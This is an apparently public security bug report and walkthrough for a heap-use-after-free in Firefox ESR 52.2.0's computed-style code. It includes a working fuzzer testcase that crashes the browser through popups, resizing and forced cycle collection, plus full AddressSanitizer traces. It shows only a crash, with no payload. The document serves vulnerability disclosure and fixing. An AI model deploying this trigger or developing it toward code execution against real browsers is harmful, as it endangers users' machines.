heap-use-after-free in nsComputedDOMStyle::UpdateCurrentStyleSources
A crafted page that opens and resizes popup windows, then forces garbage collection, triggers a heap-use-after-free in Firefox's computed-style code. The crash is a memory-safety fault that could potentially be exploited for code execution, though the report only demonstrates the crash.
- Fixed in 33 days
- Paid in 39 days
- Disclosed after 33 days
Created attachment 8875704 crash.html
The following testcase crashes the latest ASAN build of Firefox ESR 52.2.0 (20170607010726)
<script> function start() { o0=window.open('data:text/html,<div>','popup65','height=88,width=131081,top=46,outerHeight=-1024,toolbar,resizable'); o1=window.open('data:text/html,<div>','popup73','height=-1,width=64,outerHeight=38,outerWidth=-8,toolbar,resizable'); o1.onload=fun0; } function fun0(e) { o5=o0.document; o0.onresize=fun1; o45=o5.querySelector('*:not([id])'); o95=document.createElementNS('http://www.w3.org/1999/xhtml','marquee'); o45.appendChild(o95); o0.resizeBy(8,4194304); } function fun1() { o0.close(); o1.open('data:text/html,<div>','popup3','width=1,left=32768,menubar,toolbar,personalbar,status,resizable'); fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC(); } </script> <body onload="start()"></body> ================================================================= ==1349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0008a1ea0 at pc 0x7f65e45838b1 bp 0x7fff56b07810 sp 0x7fff56b07808 WRITE of size 8 at 0x60c0008a1ea0 thread T0 #0 0x7f65e45838b0 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14 #1 0x7f65e4583efb in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:796:3 #2 0x7f65e4582196 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26 #3 0x7f65e4581fb8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10 #4 0x7f65e0ed3ae9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1 #5 0x7f65e0ed3ae9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528 #6 0x7f65e243ce3d in mozilla::dom::GenericBindingGetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2813:13 #7 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #8 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #9 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #10 0x7f65e828c12d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12 #11 0x7f65df404ea2 in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3330:12 #12 0x7f65df404ea2 in xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) const /home/worker/workspace/build/src/js/xpconnect/wrappers/XrayWrapper.cpp:2247 #13 0x7f65e85043ee in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:309:12 #14 0x7f65e850478c in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16 #15 0x7f65e850478c in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:305 #16 0x7f65e87c65e1 in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16 #17 0x7f65e87c65e1 in GetProperty /home/worker/workspace/build/src/js/src/jsobj.h:846 #18 0x7f65e87c65e1 in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4263 #19 0x7f65e879eb9c in GetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:192:12 #20 0x7f65e879eb9c in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2639 #21 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #22 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #23 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #24 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12 #25 0x7f65e3cb130b in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14 #26 0x7f65e3cb130b in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331 #27 0x7f65e3c7b24e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5 #28 0x7f65e3c7b04e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7 #29 0x7f65e4aa5009 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5 #30 0x7f65e4aa5009 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4167 #31 0x7f65e47b721c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11 #32 0x7f65e47c3a61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7 #33 0x7f65e47c34f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5 #34 0x7f65e47c601e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), StoreCopyPassByValue<mozilla::TimeStamp> , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12 #35 0x7f65e47c601e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781 #36 0x7f65e47c601e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810 #37 0x7f65ddd178bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #38 0x7f65ddd999fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #39 0x7f65deb5140f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #40 0x7f65deac2fc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #41 0x7f65deac2fc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #42 0x7f65deac2fc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #43 0x7f65e40ec19f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #44 0x7f65e6166451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19 #45 0x7f65e62fd757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10 #46 0x7f65e62feecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8 #47 0x7f65e62ffd8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16 #48 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10 #49 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415 #50 0x7f65f8fc182f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 #51 0x41ba88 in _start (/home/nils/fuzzer3/esr/firefox/firefox+0x41ba88)0x60c0008a1ea0 is located 96 bytes inside of 128-byte region [0x60c0008a1e40,0x60c0008a1ec0) freed by thread T0 here: #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f65ddbe0354 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2665:9 #2 0x7f65ddbdff46 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2840:3 #3 0x7f65ddbe701e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3826:3 #4 0x7f65ddbe64dc in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3651:9 #5 0x7f65ddbea556 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4144:3 #6 0x7f65e0a7cb19 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1440:3 #7 0x7f65e05aa55d in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1340:3 #8 0x7f65ddd3fec6 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_x86_64_unix.cpp:180:23 #9 0x7f65df562fbe in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2058:12 #10 0x7f65df562fbe in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1377 #11 0x7f65df562fbe in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1344 #12 0x7f65df56a648 in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:999:12 #13 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #14 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #15 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12 #16 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #17 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #18 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #19 0x7f65e87baf92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #20 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12 #21 0x7f65df48b8af in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18 #22 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #23 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #24 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12 #25 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #26 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #27 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #28 0x7f65e87baf92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #29 0x7f65e852960c in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12 #30 0x7f65e84f8f5f in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:333:14 #31 0x7f65e850672f in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:400:12 #32 0x7f65e8508ede in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:689:12 #33 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #34 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #35 0x7f65e87baf92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #36 0x7f65e828c12d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12
previously allocated by thread T0 here: #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f65e458003a in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f65e458003a in NS_NewComputedDOMStyle(mozilla::dom::Element*, nsAString_internal const&, nsIPresShell*, nsComputedDOMStyle::StyleType) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:72 #4 0x7f65e066c40d in nsGlobalWindow::GetComputedStyleHelperOuter(mozilla::dom::Element&, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10814:5 #5 0x7f65e066be90 in nsGlobalWindow::GetComputedStyleHelper(mozilla::dom::Element&, nsAString_internal const&, bool, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10827:3 #6 0x7f65e066bb56 in nsGlobalWindow::GetComputedStyle(mozilla::dom::Element&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10743:10 #7 0x7f65e1bea044 in mozilla::dom::WindowBinding::getComputedStyle(JSContext*, JS::Handle<JSObject*>, nsGlobalWindow*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:3162:49 #8 0x7f65e1be3634 in mozilla::dom::WindowBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:15157:13 #9 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #10 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447 #11 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12 #12 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #13 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12 #14 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15 #15 0x7f65e87baf92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10 #16 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12 #17 0x7f65e3cb130b in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14 #18 0x7f65e3cb130b in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331 #19 0x7f65e3c7b24e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5 #20 0x7f65e3c7b04e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7 #21 0x7f65e4aa5009 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5 #22 0x7f65e4aa5009 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4167 #23 0x7f65e47b721c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11 #24 0x7f65e47c3a61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7 #25 0x7f65e47c34f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5 #26 0x7f65e47c601e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp), StoreCopyPassByValuemozilla::TimeStamp , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12 #27 0x7f65e47c601e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781 #28 0x7f65e47c601e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810 #29 0x7f65ddd178bb in nsThread::ProcessNextEvent(bool, bool) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #30 0x7f65ddd999fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #31 0x7f65deb5140f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #32 0x7f65deac2fc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #33 0x7f65deac2fc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #34 0x7f65deac2fc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #35 0x7f65e40ec19f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #36 0x7f65e6166451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19 #37 0x7f65e62fd757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10 #38 0x7f65e62feecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) Shadow bytes around the buggy address: 0x0c188010c380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c188010c390: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c188010c3a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c188010c3b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c188010c3c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd =>0x0c188010c3d0: fd fd fd fd[fd]fd fd fd fa fa fa fa fa fa fa fa 0x0c188010c3e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c188010c3f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c188010c400: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c188010c410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c188010c420: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1349==ABORTING
Context
This is a crash report for a heap-use-after-free in Firefox's computed style code, filed against Mozilla's Core: DOM: Core & HTML component. The affected function is nsComputedDOMStyle::UpdateCurrentStyleSources, part of the layout/style layer that backs window.getComputedStyle(). Normally that API returns a live style object for an element, and reading a property such as width resolves the current computed value through nsComputedDOMStyle.
The report is a testcase that drives window management, DOM mutation and garbage collection until the style object is freed while still in use.
Setup
The testcase was run against the latest ASAN build of Firefox ESR 52.2.0 (build 20170607010726). The testcase uses fuzzPriv.GC() and fuzzPriv.CC() to force garbage collection and cycle collection at a chosen moment. No accounts or special roles are involved; the only precondition is loading the page in that build.
Finding it
The crash is an AddressSanitizer heap-use-after-free, reported as a WRITE of size 8. The faulting access is in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) at layout/style/nsComputedDOMStyle.cpp:639:14. The object at 0x60c0008a1ea0 sits 96 bytes inside a 128-byte region, and ASAN reports it as freed before the write.
The allocation stack shows the object was created by NS_NewComputedDOMStyle, reached from nsGlobalWindow::GetComputedStyleHelperOuter, GetComputedStyleHelper and GetComputedStyle, i.e. a getComputedStyle call. The free stack shows it was released by the cycle collector: SnowWhiteKiller::~SnowWhiteKiller() and nsCycleCollector::FreeSnowWhite(bool) inside nsCycleCollector::BeginCollection, triggered through nsJSContext::CycleCollectNow and nsDOMWindowUtils::CycleCollect. In other words, a forced cycle collection freed the computed style object, and a later property read wrote into the freed memory.
Exploitation
Step 1: open two popups and hook the second one's load
The testcase opens two windows with unusual geometry and attaches a load handler to the second.
<script>
function start() {
o0=window.open('data:text/html,<div>','popup65','height=88,width=131081,top=46,outerHeight=-1024,toolbar,resizable');
o1=window.open('data:text/html,<div>','popup73','height=-1,width=64,outerHeight=38,outerWidth=-8,toolbar,resizable');
o1.onload=fun0;
}
o0 and o1 are the two popups, both loading a trivial data:text/html,<div> document. The window features include negative and oversized values (outerHeight=-1024, width=131081, height=-1, outerWidth=-8), which is typical of fuzzer-generated input. o1.onload=fun0 schedules the next stage once the second popup has loaded.
Step 2: mutate the first popup's DOM and resize it
function fun0(e) {
o5=o0.document;
o0.onresize=fun1;
o45=o5.querySelector('*:not([id])');
o95=document.createElementNS('http://www.w3.org/1999/xhtml','marquee');
o45.appendChild(o95);
o0.resizeBy(8,4194304);
}
This grabs the first popup's document, selects its first element without an id (the <div>), appends a marquee element created in the XHTML namespace, and registers fun1 as the resize handler on o0. It then calls o0.resizeBy(8,4194304), which should fire the resize handler.
Step 3: close, reopen and force collection
function fun1() {
o0.close();
o1.open('data:text/html,<div>','popup3','width=1,left=32768,menubar,toolbar,personalbar,status,resizable');
fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
}
On resize, the first popup is closed, the second popup is navigated to a new data: document, and then garbage collection and cycle collection are forced twice each. The cycle collection is what frees the nsComputedDOMStyle object, as the free stack shows.
Step 4: the crash
The write into freed memory happens when a computed style property is read. The stack shows CSS2PropertiesBinding::get_width calling nsComputedDOMStyle::GetPropertyValue, then GetPropertyCSSValue, then UpdateCurrentStyleSources, which performs the write at line 639. The read is reached through an Xray wrapper (xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get) and through an XBL attached handler (nsXBLProtoImplAnonymousMethod::Execute, nsXBLBinding::ExecuteAttachedHandler), driven from PresShell::FlushPendingNotifications during a refresh driver tick. So the property access is not a plain script read: it happens inside a binding's attached handler while pending notifications are flushed.
ASAN output:
==1349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0008a1ea0 at pc 0x7f65e45838b1 bp 0x7fff56b07810 sp 0x7fff56b07808
WRITE of size 8 at 0x60c0008a1ea0 thread T0
#0 0x7f65e45838b0 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14
#1 0x7f65e4583efb in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:796:3
#2 0x7f65e4582196 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26
#3 0x7f65e4581fb8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10
#4 0x7f65e0ed3ae9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1
#5 0x7f65e0ed3ae9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528
The free stack:
freed by thread T0 here:
